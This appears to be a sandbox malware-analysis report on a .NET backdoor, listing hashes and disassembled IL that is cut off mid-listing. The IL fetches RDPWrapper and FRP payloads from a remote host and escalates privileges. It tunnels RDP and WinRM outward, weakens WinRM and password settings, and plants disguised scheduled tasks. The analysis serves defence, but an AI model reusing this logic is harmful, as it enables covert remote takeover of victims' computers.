Suspicious
Suspect

0601dcd79460a89d567f307c47b39c51

PE Executable
|
MD5: 0601dcd79460a89d567f307c47b39c51
|
Size: 26.62 KB
|
application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very low

Hash
Hash Value
MD5
0601dcd79460a89d567f307c47b39c51
Sha1
52d84c47581a86d5b2e37224b4a2f0d8a7dfadfb
Sha256
f3c442a5cf38c571cb5e9d306ba03112c6f2169d4ea96e4b7c72496b26acb7fc
Sha384
0f7ce2144a42877115cc91158dfd1a8552917e88bd7ca9d4049eee0e6eb368611497f6319f8fac9a01a3b57000dfeb59
Sha512
f5d294d1d5cf2064037414281b5875005e2cbdc4ee4e69e149e4f78494acd22f8c2a2e5b0c28ff640807feb5b9df4f1ea82b245c8ab65f3ed715dd6e8528e1a9
SSDeep
384:PyqJ4NAf/BQE4uCbMojKCRDP2E4/4BejOWUa3yffKmagZZjDEDtOXD8wcwS49:qsf5NCbMo75P2JpyscdjDEDtOXD8w
TLSH
7EC24F04ABFC0518F2FB5F355ABA29504977BC9A2A75CA4D2D42409E0DB1BD0DEA0F37

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.reloc
Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

js5ey5gh.v3i.exe

Full Name

js5ey5gh.v3i.exe

EntryPoint

System.Void StandaloneProgram.Program::Main()

Scope Name

js5ey5gh.v3i.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v2.0.50727

Tables Header Version

512

WinMD Version

<null>

Assembly Name

js5ey5gh.v3i

Assembly Version

0.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

245

Main Method

System.Void StandaloneProgram.Program::Main()

Main IL Instruction Count

1331

Main IL

ldnull <null> stloc.0 <null> call System.Int32 StandaloneProgram.Program::DetermineIntegrity() stsfld System.Int32 StandaloneProgram.Program::integrity ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.4 <null> bne.un.s IL_001E: ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4 20000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> blt.s IL_0050: ldstr "C:\\AdsPower" ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.4 <null> beq.s IL_0035: ldstr "Global\\SystemStagerMutex" ldstr Global\AdminStagerMutex br.s IL_003A: stloc.s V_10 ldstr Global\SystemStagerMutex stloc.s V_10 ldc.i4.1 <null> ldloc.s V_10 ldloca.s V_11 newobj System.Void System.Threading.Mutex::.ctor(System.Boolean,System.String,System.Boolean&) stloc.0 <null> ldloc.s V_11 brtrue.s IL_0050: ldstr "C:\\AdsPower" leave IL_0F94: ret ldstr C:\AdsPower dup <null> call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldstr proxy_error{0}.txt ldsfld System.Int32 StandaloneProgram.Program::integrity box System.Int32 call System.String System.String::Format(System.String,System.Object) call System.String System.IO.Path::Combine(System.String,System.String) stsfld System.String StandaloneProgram.Program::logFile ldstr Determined integrity level: {0} (4=SYSTEM,3=Admin,2=User) ldsfld System.Int32 StandaloneProgram.Program::integrity box System.Int32 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldstr http://khkjhjkhjkhjkhkjkj.com:81 stloc.1 <null> ldloc.1 <null> ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 44 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> ldstr http:// ldstr callvirt System.String System.String::Replace(System.String,System.String) ldstr https:// ldstr callvirt System.String System.String::Replace(System.String,System.String) ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 47 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> stloc.2 <null> ldloc.1 <null> ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 44 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> ldstr /hosted/RDPWrapper.exe call System.String System.String::Concat(System.String,System.String) stloc.3 <null> ldloc.1 <null> ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 44 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> ldstr /hosted/FRPWrapper.exe call System.String System.String::Concat(System.String,System.String) stloc.s V_4 ldloc.2 <null> ldc.i4 7000 call System.String StandaloneProgram.Program::SelectServerIP(System.String,System.Int32) stloc.s V_5 ldstr Selected server IP: ldloc.s V_5 call System.String System.String::Concat(System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.1 <null> ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 44 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> newobj System.Void System.Uri::.ctor(System.String) stloc.s V_6 ldloc.s V_5 stloc.s V_7 ldloc.s V_6 callvirt System.Int32 System.Uri::get_Port() ldloc.s V_6 callvirt System.String System.Uri::get_Scheme() ldstr https call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0188: ldc.i4 443 ldc.i4.s 80 br.s IL_018D: beq.s IL_01AD ldc.i4 443 beq.s IL_01AD: ldloc.s V_6 ldloc.s V_7 ldstr : ldloc.s V_6 callvirt System.Int32 System.Uri::get_Port() stloc.s V_13 ldloca.s V_13 call System.String System.Int32::ToString() call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_7 ldloc.s V_6 callvirt System.String System.Uri::get_Scheme() ldstr :// ldloc.s V_7 ldloc.s V_6 callvirt System.String System.Uri::get_AbsolutePath() ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 47 stelem.i2 <null> callvirt System.String System.String::TrimEnd(System.Char[]) call System.String System.String::Concat(System.String,System.String,System.String,System.String) dup <null> ldstr /hosted/RDPWrapper.exe call System.String System.String::Concat(System.String,System.String) stloc.3 <null> ldstr /hosted/FRPWrapper.exe call System.String System.String::Concat(System.String,System.String) stloc.s V_4 ldc.i4.0 <null> stloc.s V_8 ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.0 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_14 ldloc.s V_14 brfalse.s IL_0224: leave.s IL_0232 ldloc.s V_14 ldstr IconSizeVersion1 callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) brfalse.s IL_0224: leave.s IL_0232 ldc.i4.1 <null> stloc.s V_8 ldstr RDPWrapper already exists in HKLM, skipping download ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0232: ldloc.s V_8 ldloc.s V_14 brfalse.s IL_0231: endfinally ldloc.s V_14 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_8 brtrue.s IL_0292: ldc.i4.0 ldstr Downloading RDPWrapper... ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.3 <null> call System.Byte[] StandaloneProgram.Program::DownloadBinary(System.String) stloc.s V_15 ldloc.s V_15 brfalse.s IL_0287: ldstr "Failed to download RDPWrapper" ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.2 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::CreateSubKey(System.String,Microsoft.Win32.RegistryKeyPermissionCheck) stloc.s V_16 ldloc.s V_16 ldstr IconSizeVersion1 ldloc.s V_15 ldc.i4.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldstr RDPWrapper downloaded to HKCU ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0292: ldc.i4.0 ldloc.s V_16 brfalse.s IL_0286: endfinally ldloc.s V_16 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr Failed to download RDPWrapper ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.0 <null> stloc.s V_9 ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.0 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_17 ldloc.s V_17 brfalse.s IL_02C7: leave.s IL_02D5 ldloc.s V_17 ldstr IconUnderlineVersion1 callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) brfalse.s IL_02C7: leave.s IL_02D5 ldc.i4.1 <null> stloc.s V_9 ldstr FRP binary already exists in HKLM, skipping download ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_02D5: ldloc.s V_9 ldloc.s V_17 brfalse.s IL_02D4: endfinally ldloc.s V_17 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_9 brtrue.s IL_0336: ldsfld System.Int32 StandaloneProgram.Program::integrity ldstr Downloading FRP binary... ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.s V_4 call System.Byte[] StandaloneProgram.Program::DownloadBinary(System.String) stloc.s V_18 ldloc.s V_18 brfalse.s IL_032B: ldstr "Failed to download FRP binary" ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.2 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::CreateSubKey(System.String,Microsoft.Win32.RegistryKeyPermissionCheck) stloc.s V_19 ldloc.s V_19 ldstr IconUnderlineVersion1 ldloc.s V_18 ldc.i4.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldstr FRP binary downloaded to HKCU ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0336: ldsfld System.Int32 StandaloneProgram.Program::integrity ldloc.s V_19 brfalse.s IL_032A: endfinally ldloc.s V_19 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr Failed to download FRP binary ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.2 <null> bne.un.s IL_0383: ldsfld System.Int32 StandaloneProgram.Program::integrity ldstr Not admin/system, escalating privileges... ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.0 <null> ldstr ShellStateVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) call System.Diagnostics.Process StandaloneProgram.Program::RunAsAdmin(System.String) pop <null> ldstr Escalation attempted ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave IL_0F94: ret stloc.s V_20 ldstr Error in escalation: {0} ldloc.s V_20 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave IL_0F94: ret ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> blt IL_0558: ldsfld System.Int32 StandaloneProgram.Program::integrity ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_21 ldloc.s V_21 brfalse.s IL_0400: leave.s IL_040E ldloc.s V_21 ldstr ShellStateVersion1 callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) stloc.s V_22 ldloc.s V_22 brfalse.s IL_0400: leave.s IL_040E ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_23 ldloc.s V_23 brfalse.s IL_03F2: leave.s IL_0400 ldloc.s V_23 ldstr ShellStateVersion1 ldloc.s V_22 ldc.i4.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldloc.s V_21 ldstr ShellStateVersion1 callvirt System.Void Microsoft.Win32.RegistryKey::DeleteValue(System.String) ldstr Moved implant data to HKLM ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0400: leave.s IL_040E ldloc.s V_23 brfalse.s IL_03FF: endfinally ldloc.s V_23 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_040E: leave.s IL_0426 ldloc.s V_21 brfalse.s IL_040D: endfinally ldloc.s V_21 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0426: nop stloc.s V_24 ldstr Error moving registry data: {0} ldloc.s V_24 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0426: nop nop <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_25 ldloc.s V_25 brfalse.s IL_0499: leave.s IL_04A7 ldloc.s V_25 ldstr IconSizeVersion1 callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) stloc.s V_26 ldloc.s V_26 brfalse.s IL_0499: leave.s IL_04A7 ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_27 ldloc.s V_27 brfalse.s IL_048B: leave.s IL_0499 ldloc.s V_27 ldstr IconSizeVersion1 ldloc.s V_26 ldc.i4.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldloc.s V_25 ldstr IconSizeVersion1 callvirt System.Void Microsoft.Win32.RegistryKey::DeleteValue(System.String) ldstr Moved RDPWrapper data to HKLM ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0499: leave.s IL_04A7 ldloc.s V_27 brfalse.s IL_0498: endfinally ldloc.s V_27 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_04A7: leave.s IL_04BF ldloc.s V_25 brfalse.s IL_04A6: endfinally ldloc.s V_25 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_04BF: nop stloc.s V_28 ldstr Error moving RDPWrapper data: {0} ldloc.s V_28 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_04BF: nop nop <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_29 ldloc.s V_29 brfalse.s IL_0532: leave.s IL_0540 ldloc.s V_29 ldstr IconUnderlineVersion1 callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) stloc.s V_30 ldloc.s V_30 brfalse.s IL_0532: leave.s IL_0540 ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_31 ldloc.s V_31 brfalse.s IL_0524: leave.s IL_0532 ldloc.s V_31 ldstr IconUnderlineVersion1 ldloc.s V_30 ldc.i4.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldloc.s V_29 ldstr IconUnderlineVersion1 callvirt System.Void Microsoft.Win32.RegistryKey::DeleteValue(System.String) ldstr Moved FRP data to HKLM ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0532: leave.s IL_0540 ldloc.s V_31 brfalse.s IL_0531: endfinally ldloc.s V_31 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0540: leave.s IL_0558 ldloc.s V_29 brfalse.s IL_053F: endfinally ldloc.s V_29 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0558: ldsfld System.Int32 StandaloneProgram.Program::integrity stloc.s V_32 ldstr Error moving FRP data: {0} ldloc.s V_32 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0558: ldsfld System.Int32 StandaloneProgram.Program::integrity ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> blt IL_06C8: ldsfld System.Int32 StandaloneProgram.Program::integrity ldstr C:\ProgramData\frp stloc.s V_33 ldloc.s V_33 ldstr frpc.toml call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_34 ldloc.s V_33 call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_05A8: ldloc.s V_34 ldloc.s V_33 call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.s V_33 newobj System.Void System.IO.DirectoryInfo::.ctor(System.String) dup <null> callvirt System.IO.FileAttributes System.IO.FileSystemInfo::get_Attributes() ldc.i4.2 <null> or <null> callvirt System.Void System.IO.FileSystemInfo::set_Attributes(System.IO.FileAttributes) ldstr FRP directory created and hidden ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.s V_34 call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_05F0: ldloc.s V_34 ldc.i4.5 <null> newarr System.String dup <null> ldc.i4.0 <null> ldstr serverAddr = " stelem.ref <null> dup <null> ldc.i4.1 <null> ldloc.s V_5 stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr " serverPort = 7000 loginFailExit = false auth = { method = "token", token = "ADAD" } user = " stelem.ref <null> dup <null> ldc.i4.3 <null> call System.String System.Environment::get_UserName() stelem.ref <null> dup <null> ldc.i4.4 <null> ldstr " [[proxies]] name = "rdp" type = "tcp" localIP = "127.0.0.1" localPort = 3389 remotePort = 0 [[proxies]] name = "winrm" type = "tcp" localIP = "127.0.0.1" localPort = 5985 remotePort = 0 stelem.ref <null> call System.String System.String::Concat(System.String[]) stloc.s V_35 ldstr FRP config created ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) br.s IL_0627: ldloc.s V_34 ldloc.s V_34 call System.String System.IO.File::ReadAllText(System.String) ldstr serverAddr = " ldloc.s V_5 ldstr " call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_36 ldstr serverAddr\s*=\s*"[^"]*" stloc.s V_37 ldloc.s V_37 ldloc.s V_36 call System.String System.Text.RegularExpressions.Regex::Replace(System.String,System.String,System.String) stloc.s V_35 ldstr FRP config updated (IP only) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.s V_34 ldloc.s V_35 callvirt System.String System.String::Trim() call System.Void System.IO.File::WriteAllText(System.String,System.String) ldstr powershell ldstr -Command "Enable-PSRemoting -Force; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force; New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'LocalAccountTokenFilterPolicy' -Value 1 -PropertyType DWORD -Force; Restart-Service winrm" newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_38 ldloc.s V_38 callvirt System.Void System.Diagnostics.Process::WaitForExit() ldstr WinRM configuration exit code: {0} ldloc.s V_38 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() box System.Int32 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0698: leave.s IL_06B0 ldloc.s V_38 brfalse.s IL_0697: endfinally ldloc.s V_38 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_06B0: leave.s IL_06C8 stloc.s V_39 ldstr Error configuring WinRM: {0} ldloc.s V_39 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_06B0: leave.s IL_06C8 leave.s IL_06C8: ldsfld System.Int32 StandaloneProgram.Program::integrity stloc.s V_40 ldstr Error setting up FRP tunnel: {0} ldloc.s V_40 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_06C8: ldsfld System.Int32 StandaloneProgram.Program::integrity ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> bne.un IL_0764: ldsfld System.Int32 StandaloneProgram.Program::integrity ldstr Admin detected, creating service... ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.1 <null> ldstr ShellStateVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) stloc.s V_41 ldstr DriverSvcTask ldstr Driver Support Service ldloc.s V_41 ldc.i4.0 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) ldstr powershell.exe sleep 30; ldc.i4.1 <null> ldstr IconUnderlineVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) ldstr " call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_42 ldstr NetTcpSvc ldstr Manages network TCP connections for system services. ldloc.s V_42 ldc.i4.1 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) ldstr TermSvcHost ldstr Provides support for Terminal Services. ldc.i4.1 <null> ldstr IconSizeVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) leave IL_07F5: nop stloc.s V_43 ldstr Error setting up autorun and task: {0} ldloc.s V_43 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave IL_07F5: nop ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.4 <null> bne.un IL_07F5: nop ldstr System detected, ensuring tasks exist... ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.1 <null> ldstr ShellStateVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) stloc.s V_44 ldstr DriverSvcTask ldstr Driver Support Service ldloc.s V_44 ldc.i4.0 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) ldstr powershell.exe sleep 30; ldc.i4.1 <null> ldstr IconUnderlineVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) call System.String System.String::Concat(System.String,System.String) stloc.s V_45 ldstr NetTcpSvc ldstr Manages network TCP connections for system services. ldloc.s V_45 ldc.i4.0 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) ldstr TermSvcHost ldstr Provides support for Terminal Services. ldc.i4.1 <null> ldstr IconSizeVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) ldc.i4.0 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) leave.s IL_07F5: nop stloc.s V_46 ldstr Error ensuring tasks exist: {0} ldloc.s V_46 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_07F5: nop nop <null> newobj System.Void System.Collections.Generic.List`1<System.String>::.ctor() stloc.s V_47 ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> bne.un.s IL_0816: ldsfld System.Int32 StandaloneProgram.Program::integrity ldloc.s V_47 call System.String System.Environment::get_UserName() callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String) br IL_08A1: ldc.i4.0 ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.4 <null> bne.un IL_08A1: ldc.i4.0 ldstr S-1-5-32-555 call System.Collections.Generic.List`1<System.String> StandaloneProgram.Program::GetLocalGroupMembers(System.String) callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.s V_51 br.s IL_0888: ldloca.s V_51 ldloca.s V_51 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.s V_52 ldloc.s V_52 stloc.s V_53 ldloc.s V_52 ldc.i4.s 92 callvirt System.Int32 System.String::LastIndexOf(System.Char) stloc.s V_54 ldloc.s V_54 ldc.i4.0 <null> blt.s IL_086B: ldloc.s V_53 ldloc.s V_54 ldc.i4.1 <null> add <null> ldloc.s V_52 callvirt System.Int32 System.String::get_Length() bge.s IL_086B: ldloc.s V_53 ldloc.s V_52 ldloc.s V_54 ldc.i4.1 <null> add <null> callvirt System.String System.String::Substring(System.Int32) stloc.s V_53 ldloc.s V_53 call System.Boolean System.String::IsNullOrEmpty(System.String) brtrue.s IL_0888: ldloca.s V_51 ldloc.s V_47 ldloc.s V_53 callvirt System.Boolean System.Collections.Generic.List`1<System.String>::Contains(System.String) brtrue.s IL_0888: ldloca.s V_51 ldloc.s V_47 ldloc.s V_53 callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String) ldloca.s V_51 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue.s IL_0834: ldloca.s V_51 leave.s IL_08A1: ldc.i4.0 ldloca.s V_51 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.0 <null> call System.Void StandaloneProgram.Program::SetLimitBlankPasswordUse(System.Boolean) ldc.i4.0 <null> stloc.s V_48 ldstr SysMaintenance stloc.s V_49 ldloc.s V_47 callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.s V_51 br IL_0B7A: ldloca.s V_51 ldloca.s V_51 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.s V_55 ldstr Attempting to configure user: ldloc.s V_55 call System.String System.String::Concat(System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldstr net ldstr user " ldloc.s V_55 ldstr " call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_56 ldloc.s V_56 callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardOutput() callvirt System.String System.IO.TextReader::ReadToEnd() ldloc.s V_56 callvirt System.Void System.Diagnostics.Process::WaitForExit() ldloc.s V_49 callvirt System.Boolean System.String::Contains(System.String) brfalse.s IL_0952: leave.s IL_0960 ldstr Skipping user ldloc.s V_55 ldstr due to description containing ldloc.s V_49 call System.String System.String::Concat(System.String,System.String,System.String,System.String) 